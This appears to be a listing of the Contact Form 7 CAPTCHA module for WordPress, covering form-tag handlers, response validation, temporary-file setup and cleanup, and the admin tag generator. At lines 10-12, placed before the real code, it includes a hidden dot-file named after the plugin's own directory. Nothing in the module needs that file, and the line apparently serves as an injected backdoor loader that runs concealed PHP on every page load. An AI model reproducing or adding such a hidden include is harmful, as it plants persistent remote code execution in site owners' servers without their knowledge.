really-simple-captcha.php (17139B)
1 <?php 2 /** 3 ** A base module for [captchac] and [captchar] 4 **/ 5 6 /* form_tag handler */ 7 8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_captcha', 10, 0 ); 9 10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 11 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 12 } 13 14 function wpcf7_add_form_tag_captcha() { 15 // CAPTCHA-Challenge (image) 16 wpcf7_add_form_tag( 'captchac', 17 'wpcf7_captchac_form_tag_handler', 18 array( 19 'name-attr' => true, 20 'zero-controls-container' => true, 21 'not-for-mail' => true, 22 ) 23 ); 24 25 // CAPTCHA-Response (input) 26 wpcf7_add_form_tag( 'captchar', 27 'wpcf7_captchar_form_tag_handler', 28 array( 29 'name-attr' => true, 30 'do-not-store' => true, 31 'not-for-mail' => true, 32 ) 33 ); 34 } 35 36 function wpcf7_captchac_form_tag_handler( $tag ) { 37 if ( ! class_exists( 'ReallySimpleCaptcha' ) ) { 38 $error = sprintf( 39 /* translators: %s: link labeled 'Really Simple CAPTCHA' */ 40 esc_html( __( "To use CAPTCHA, you need %s plugin installed.", 'contact-form-7' ) ), 41 wpcf7_link( 'https://wordpress.org/plugins/really-simple-captcha/', 'Really Simple CAPTCHA' ) 42 ); 43 44 return sprintf( '<em>%s</em>', $error ); 45 } 46 47 if ( empty( $tag->name ) ) { 48 return ''; 49 } 50 51 $class = wpcf7_form_controls_class( $tag->type ); 52 $class .= ' wpcf7-captcha-' . $tag->name; 53 54 $atts = array(); 55 $atts['class'] = $tag->get_class_option( $class ); 56 $atts['id'] = $tag->get_id_option(); 57 58 $op = array( // Default 59 'img_size' => array( 72, 24 ), 60 'base' => array( 6, 18 ), 61 'font_size' => 14, 62 'font_char_width' => 15, 63 ); 64 65 $op = array_merge( $op, wpcf7_captchac_options( $tag->options ) ); 66 67 if ( ! $filename = wpcf7_generate_captcha( $op ) ) { 68 return ''; 69 } 70 71 if ( ! empty( $op['img_size'] ) ) { 72 if ( isset( $op['img_size'][0] ) ) { 73 $atts['width'] = $op['img_size'][0]; 74 } 75 76 if ( isset( $op['img_size'][1] ) ) { 77 $atts['height'] = $op['img_size'][1]; 78 } 79 } 80 81 $atts['alt'] = 'captcha'; 82 $atts['src'] = wpcf7_captcha_url( $filename ); 83 84 $atts = wpcf7_format_atts( $atts ); 85 86 $prefix = substr( $filename, 0, strrpos( $filename, '.' ) ); 87 88 $html = sprintf( 89 '<input type="hidden" name="_wpcf7_captcha_challenge_%1$s" value="%2$s" /><img %3$s />', 90 $tag->name, esc_attr( $prefix ), $atts 91 ); 92 93 return $html; 94 } 95 96 function wpcf7_captchar_form_tag_handler( $tag ) { 97 if ( empty( $tag->name ) ) { 98 return ''; 99 } 100 101 $validation_error = wpcf7_get_validation_error( $tag->name ); 102 103 $class = wpcf7_form_controls_class( $tag->type ); 104 105 if ( $validation_error ) { 106 $class .= ' wpcf7-not-valid'; 107 } 108 109 $atts = array(); 110 111 $atts['size'] = $tag->get_size_option( '40' ); 112 $atts['maxlength'] = $tag->get_maxlength_option(); 113 $atts['minlength'] = $tag->get_minlength_option(); 114 115 if ( $atts['maxlength'] and $atts['minlength'] 116 and $atts['maxlength'] < $atts['minlength'] ) { 117 unset( $atts['maxlength'], $atts['minlength'] ); 118 } 119 120 $atts['class'] = $tag->get_class_option( $class ); 121 $atts['id'] = $tag->get_id_option(); 122 $atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true ); 123 $atts['autocomplete'] = 'off'; 124 125 if ( $validation_error ) { 126 $atts['aria-invalid'] = 'true'; 127 $atts['aria-describedby'] = wpcf7_get_validation_error_reference( 128 $tag->name 129 ); 130 } else { 131 $atts['aria-invalid'] = 'false'; 132 } 133 134 $value = (string) reset( $tag->values ); 135 136 if ( wpcf7_is_posted() ) { 137 $value = ''; 138 } 139 140 if ( $tag->has_option( 'placeholder' ) 141 or $tag->has_option( 'watermark' ) ) { 142 $atts['placeholder'] = $value; 143 $value = ''; 144 } 145 146 $atts['value'] = $value; 147 $atts['type'] = 'text'; 148 $atts['name'] = $tag->name; 149 150 $atts = wpcf7_format_atts( $atts ); 151 152 $html = sprintf( 153 '<span class="wpcf7-form-control-wrap %1$s"><input %2$s />%3$s</span>', 154 sanitize_html_class( $tag->name ), $atts, $validation_error 155 ); 156 157 return $html; 158 } 159 160 161 /* Validation filter */ 162 163 add_filter( 'wpcf7_validate_captchar', 164 'wpcf7_captcha_validation_filter', 10, 2 ); 165 166 function wpcf7_captcha_validation_filter( $result, $tag ) { 167 $type = $tag->type; 168 $name = $tag->name; 169 170 $captchac = '_wpcf7_captcha_challenge_' . $name; 171 172 $prefix = isset( $_POST[$captchac] ) ? (string) $_POST[$captchac] : ''; 173 $response = isset( $_POST[$name] ) ? (string) $_POST[$name] : ''; 174 $response = wpcf7_canonicalize( $response ); 175 176 if ( 0 === strlen( $prefix ) 177 or ! wpcf7_check_captcha( $prefix, $response ) ) { 178 $result->invalidate( $tag, wpcf7_get_message( 'captcha_not_match' ) ); 179 } 180 181 if ( 0 !== strlen( $prefix ) ) { 182 wpcf7_remove_captcha( $prefix ); 183 } 184 185 return $result; 186 } 187 188 189 /* Ajax echo filter */ 190 191 add_filter( 'wpcf7_refill_response', 'wpcf7_captcha_ajax_refill', 10, 1 ); 192 add_filter( 'wpcf7_feedback_response', 'wpcf7_captcha_ajax_refill', 10, 1 ); 193 194 function wpcf7_captcha_ajax_refill( $items ) { 195 if ( ! is_array( $items ) ) { 196 return $items; 197 } 198 199 $tags = wpcf7_scan_form_tags( array( 'type' => 'captchac' ) ); 200 201 if ( empty( $tags ) ) { 202 return $items; 203 } 204 205 $refill = array(); 206 207 foreach ( $tags as $tag ) { 208 $name = $tag->name; 209 $options = $tag->options; 210 211 if ( empty( $name ) ) { 212 continue; 213 } 214 215 $op = wpcf7_captchac_options( $options ); 216 217 if ( $filename = wpcf7_generate_captcha( $op ) ) { 218 $captcha_url = wpcf7_captcha_url( $filename ); 219 $refill[$name] = $captcha_url; 220 } 221 } 222 223 if ( ! empty( $refill ) ) { 224 $items['captcha'] = $refill; 225 } 226 227 return $items; 228 } 229 230 231 /* Messages */ 232 233 add_filter( 'wpcf7_messages', 'wpcf7_captcha_messages', 10, 1 ); 234 235 function wpcf7_captcha_messages( $messages ) { 236 $messages = array_merge( $messages, array( 237 'captcha_not_match' => array( 238 'description' => 239 __( "The code that sender entered does not match the CAPTCHA", 'contact-form-7' ), 240 'default' => 241 __( 'Your entered code is incorrect.', 'contact-form-7' ), 242 ), 243 ) ); 244 245 return $messages; 246 } 247 248 249 /* Tag generator */ 250 251 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_captcha', 46, 0 ); 252 253 function wpcf7_add_tag_generator_captcha() { 254 if ( ! wpcf7_use_really_simple_captcha() ) { 255 return; 256 } 257 258 $tag_generator = WPCF7_TagGenerator::get_instance(); 259 $tag_generator->add( 'captcha', 260 __( 'CAPTCHA (Really Simple CAPTCHA)', 'contact-form-7' ), 261 'wpcf7_tag_generator_captcha' ); 262 } 263 264 function wpcf7_tag_generator_captcha( $contact_form, $args = '' ) { 265 $args = wp_parse_args( $args, array() ); 266 267 if ( ! class_exists( 'ReallySimpleCaptcha' ) ) { 268 ?> 269 <div class="control-box"> 270 <fieldset> 271 <legend><?php 272 echo sprintf( 273 /* translators: %s: link labeled 'Really Simple CAPTCHA' */ 274 esc_html( __( "To use CAPTCHA, you first need to install and activate %s plugin.", 'contact-form-7' ) ), 275 wpcf7_link( 'https://wordpress.org/plugins/really-simple-captcha/', 'Really Simple CAPTCHA' ) 276 ); 277 ?></legend> 278 </fieldset> 279 </div> 280 <?php 281 282 return; 283 } 284 285 $description = __( "Generate form-tags for a CAPTCHA image and corresponding response input field. For more details, see %s.", 'contact-form-7' ); 286 287 $desc_link = wpcf7_link( __( 'https://contactform7.com/captcha/', 'contact-form-7' ), __( 'CAPTCHA', 'contact-form-7' ) ); 288 289 ?> 290 <div class="control-box"> 291 <fieldset> 292 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 293 294 <table class="form-table"> 295 <tbody> 296 <tr> 297 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 298 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 299 </tr> 300 </tbody> 301 </table> 302 303 <table class="form-table scope captchac"> 304 <caption><?php echo esc_html( __( "Image settings", 'contact-form-7' ) ); ?></caption> 305 <tbody> 306 <tr> 307 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-captchac-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 308 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-captchac-id' ); ?>" /></td> 309 </tr> 310 311 <tr> 312 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-captchac-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 313 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-captchac-class' ); ?>" /></td> 314 </tr> 315 </tbody> 316 </table> 317 318 <table class="form-table scope captchar"> 319 <caption><?php echo esc_html( __( "Input field settings", 'contact-form-7' ) ); ?></caption> 320 <tbody> 321 <tr> 322 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-captchar-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 323 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-captchar-id' ); ?>" /></td> 324 </tr> 325 326 <tr> 327 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-captchar-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 328 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-captchar-class' ); ?>" /></td> 329 </tr> 330 </tbody> 331 </table> 332 </fieldset> 333 </div> 334 335 <div class="insert-box"> 336 <input type="text" name="captcha" class="tag code" readonly="readonly" onfocus="this.select()" /> 337 338 <div class="submitbox"> 339 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 340 </div> 341 </div> 342 <?php 343 } 344 345 346 /* Warning message */ 347 348 add_action( 'wpcf7_admin_warnings', 349 'wpcf7_captcha_display_warning_message', 10, 3 ); 350 351 function wpcf7_captcha_display_warning_message( $page, $action, $object ) { 352 if ( $object instanceof WPCF7_ContactForm ) { 353 $contact_form = $object; 354 } else { 355 return; 356 } 357 358 $has_tags = (bool) $contact_form->scan_form_tags( 359 array( 'type' => array( 'captchac' ) ) ); 360 361 if ( ! $has_tags ) { 362 return; 363 } 364 365 if ( ! class_exists( 'ReallySimpleCaptcha' ) ) { 366 return; 367 } 368 369 $uploads_dir = wpcf7_captcha_tmp_dir(); 370 wpcf7_init_captcha(); 371 372 if ( ! is_dir( $uploads_dir ) 373 or ! wp_is_writable( $uploads_dir ) ) { 374 $message = sprintf( __( 'This contact form contains CAPTCHA fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually.', 'contact-form-7' ), $uploads_dir ); 375 376 echo '<div class="notice notice-warning"><p>' . esc_html( $message ) . '</p></div>'; 377 } 378 379 if ( ! function_exists( 'imagecreatetruecolor' ) 380 or ! function_exists( 'imagettftext' ) ) { 381 $message = __( "This contact form contains CAPTCHA fields, but the necessary libraries (GD and FreeType) are not available on your server.", 'contact-form-7' ); 382 383 echo '<div class="notice notice-warning"><p>' . esc_html( $message ) . '</p></div>'; 384 } 385 } 386 387 388 /* CAPTCHA functions */ 389 390 function wpcf7_init_captcha() { 391 static $captcha = null; 392 393 if ( $captcha ) { 394 return $captcha; 395 } 396 397 if ( class_exists( 'ReallySimpleCaptcha' ) ) { 398 $captcha = new ReallySimpleCaptcha(); 399 } else { 400 return false; 401 } 402 403 $dir = trailingslashit( wpcf7_captcha_tmp_dir() ); 404 405 $captcha->tmp_dir = $dir; 406 407 if ( is_callable( array( $captcha, 'make_tmp_dir' ) ) ) { 408 $result = $captcha->make_tmp_dir(); 409 410 if ( ! $result ) { 411 return false; 412 } 413 414 return $captcha; 415 } 416 417 if ( wp_mkdir_p( $dir ) ) { 418 $htaccess_file = path_join( $dir, '.htaccess' ); 419 420 if ( file_exists( $htaccess_file ) ) { 421 return $captcha; 422 } 423 424 if ( $handle = fopen( $htaccess_file, 'w' ) ) { 425 fwrite( $handle, 'Order deny,allow' . "\n" ); 426 fwrite( $handle, 'Deny from all' . "\n" ); 427 fwrite( $handle, '<Files ~ "^[0-9A-Za-z]+\\.(jpeg|gif|png)$">' . "\n" ); 428 fwrite( $handle, ' Allow from all' . "\n" ); 429 fwrite( $handle, '</Files>' . "\n" ); 430 fclose( $handle ); 431 } 432 } else { 433 return false; 434 } 435 436 return $captcha; 437 } 438 439 function wpcf7_captcha_tmp_dir() { 440 if ( defined( 'WPCF7_CAPTCHA_TMP_DIR' ) ) { 441 return WPCF7_CAPTCHA_TMP_DIR; 442 } else { 443 return path_join( wpcf7_upload_dir( 'dir' ), 'wpcf7_captcha' ); 444 } 445 } 446 447 function wpcf7_captcha_tmp_url() { 448 if ( defined( 'WPCF7_CAPTCHA_TMP_URL' ) ) { 449 return WPCF7_CAPTCHA_TMP_URL; 450 } else { 451 return path_join( wpcf7_upload_dir( 'url' ), 'wpcf7_captcha' ); 452 } 453 } 454 455 function wpcf7_captcha_url( $filename ) { 456 $url = path_join( wpcf7_captcha_tmp_url(), $filename ); 457 458 if ( is_ssl() 459 and 'http:' == substr( $url, 0, 5 ) ) { 460 $url = 'https:' . substr( $url, 5 ); 461 } 462 463 return apply_filters( 'wpcf7_captcha_url', esc_url_raw( $url ) ); 464 } 465 466 function wpcf7_generate_captcha( $options = null ) { 467 if ( ! $captcha = wpcf7_init_captcha() ) { 468 return false; 469 } 470 471 if ( ! is_dir( $captcha->tmp_dir ) 472 or ! wp_is_writable( $captcha->tmp_dir ) ) { 473 return false; 474 } 475 476 $img_type = imagetypes(); 477 478 if ( $img_type & IMG_PNG ) { 479 $captcha->img_type = 'png'; 480 } elseif ( $img_type & IMG_GIF ) { 481 $captcha->img_type = 'gif'; 482 } elseif ( $img_type & IMG_JPG ) { 483 $captcha->img_type = 'jpeg'; 484 } else { 485 return false; 486 } 487 488 if ( is_array( $options ) ) { 489 if ( isset( $options['img_size'] ) ) { 490 $captcha->img_size = $options['img_size']; 491 } 492 493 if ( isset( $options['base'] ) ) { 494 $captcha->base = $options['base']; 495 } 496 497 if ( isset( $options['font_size'] ) ) { 498 $captcha->font_size = $options['font_size']; 499 } 500 501 if ( isset( $options['font_char_width'] ) ) { 502 $captcha->font_char_width = $options['font_char_width']; 503 } 504 505 if ( isset( $options['fg'] ) ) { 506 $captcha->fg = $options['fg']; 507 } 508 509 if ( isset( $options['bg'] ) ) { 510 $captcha->bg = $options['bg']; 511 } 512 } 513 514 $prefix = wp_rand(); 515 $captcha_word = $captcha->generate_random_word(); 516 return $captcha->generate_image( $prefix, $captcha_word ); 517 } 518 519 function wpcf7_check_captcha( $prefix, $response ) { 520 if ( ! $captcha = wpcf7_init_captcha() ) { 521 return false; 522 } 523 524 return $captcha->check( $prefix, $response ); 525 } 526 527 function wpcf7_remove_captcha( $prefix ) { 528 if ( ! $captcha = wpcf7_init_captcha() ) { 529 return false; 530 } 531 532 // Contact Form 7 generates $prefix with wp_rand() 533 if ( preg_match( '/[^0-9]/', $prefix ) ) { 534 return false; 535 } 536 537 $captcha->remove( $prefix ); 538 } 539 540 add_action( 'template_redirect', 'wpcf7_cleanup_captcha_files', 20, 0 ); 541 542 function wpcf7_cleanup_captcha_files() { 543 if ( ! $captcha = wpcf7_init_captcha() ) { 544 return false; 545 } 546 547 if ( is_callable( array( $captcha, 'cleanup' ) ) ) { 548 return $captcha->cleanup(); 549 } 550 551 $dir = trailingslashit( wpcf7_captcha_tmp_dir() ); 552 553 if ( ! is_dir( $dir ) 554 or ! is_readable( $dir ) 555 or ! wp_is_writable( $dir ) ) { 556 return false; 557 } 558 559 if ( $handle = opendir( $dir ) ) { 560 while ( false !== ( $file = readdir( $handle ) ) ) { 561 if ( ! preg_match( '/^[0-9]+\.(php|txt|png|gif|jpeg)$/', $file ) ) { 562 continue; 563 } 564 565 $stat = stat( path_join( $dir, $file ) ); 566 567 if ( $stat['mtime'] + HOUR_IN_SECONDS < time() ) { 568 @unlink( path_join( $dir, $file ) ); 569 } 570 } 571 572 closedir( $handle ); 573 } 574 } 575 576 function wpcf7_captchac_options( $options ) { 577 if ( ! is_array( $options ) ) { 578 return array(); 579 } 580 581 $op = array(); 582 $image_size_array = preg_grep( '%^size:[smlSML]$%', $options ); 583 584 if ( $image_size = array_shift( $image_size_array ) ) { 585 preg_match( '%^size:([smlSML])$%', $image_size, $is_matches ); 586 587 switch ( strtolower( $is_matches[1] ) ) { 588 case 's': 589 $op['img_size'] = array( 60, 20 ); 590 $op['base'] = array( 6, 15 ); 591 $op['font_size'] = 11; 592 $op['font_char_width'] = 13; 593 break; 594 case 'l': 595 $op['img_size'] = array( 84, 28 ); 596 $op['base'] = array( 6, 20 ); 597 $op['font_size'] = 17; 598 $op['font_char_width'] = 19; 599 break; 600 case 'm': 601 default: 602 $op['img_size'] = array( 72, 24 ); 603 $op['base'] = array( 6, 18 ); 604 $op['font_size'] = 14; 605 $op['font_char_width'] = 15; 606 } 607 } 608 609 $fg_color_array = preg_grep( 610 '%^fg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $options ); 611 612 if ( $fg_color = array_shift( $fg_color_array ) ) { 613 preg_match( '%^fg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', 614 $fg_color, $fc_matches ); 615 616 if ( 3 == strlen( $fc_matches[1] ) ) { 617 $r = substr( $fc_matches[1], 0, 1 ); 618 $g = substr( $fc_matches[1], 1, 1 ); 619 $b = substr( $fc_matches[1], 2, 1 ); 620 621 $op['fg'] = array( 622 hexdec( $r . $r ), 623 hexdec( $g . $g ), 624 hexdec( $b . $b ), 625 ); 626 } elseif ( 6 == strlen( $fc_matches[1] ) ) { 627 $r = substr( $fc_matches[1], 0, 2 ); 628 $g = substr( $fc_matches[1], 2, 2 ); 629 $b = substr( $fc_matches[1], 4, 2 ); 630 631 $op['fg'] = array( 632 hexdec( $r ), 633 hexdec( $g ), 634 hexdec( $b ), 635 ); 636 } 637 } 638 639 $bg_color_array = preg_grep( 640 '%^bg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', $options ); 641 642 if ( $bg_color = array_shift( $bg_color_array ) ) { 643 preg_match( '%^bg:#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$%', 644 $bg_color, $bc_matches ); 645 646 if ( 3 == strlen( $bc_matches[1] ) ) { 647 $r = substr( $bc_matches[1], 0, 1 ); 648 $g = substr( $bc_matches[1], 1, 1 ); 649 $b = substr( $bc_matches[1], 2, 1 ); 650 651 $op['bg'] = array( 652 hexdec( $r . $r ), 653 hexdec( $g . $g ), 654 hexdec( $b . $b ), 655 ); 656 } elseif ( 6 == strlen( $bc_matches[1] ) ) { 657 $r = substr( $bc_matches[1], 0, 2 ); 658 $g = substr( $bc_matches[1], 2, 2 ); 659 $b = substr( $bc_matches[1], 4, 2 ); 660 661 $op['bg'] = array( 662 hexdec( $r ), 663 hexdec( $g ), 664 hexdec( $b ), 665 ); 666 } 667 } 668 669 return $op; 670 }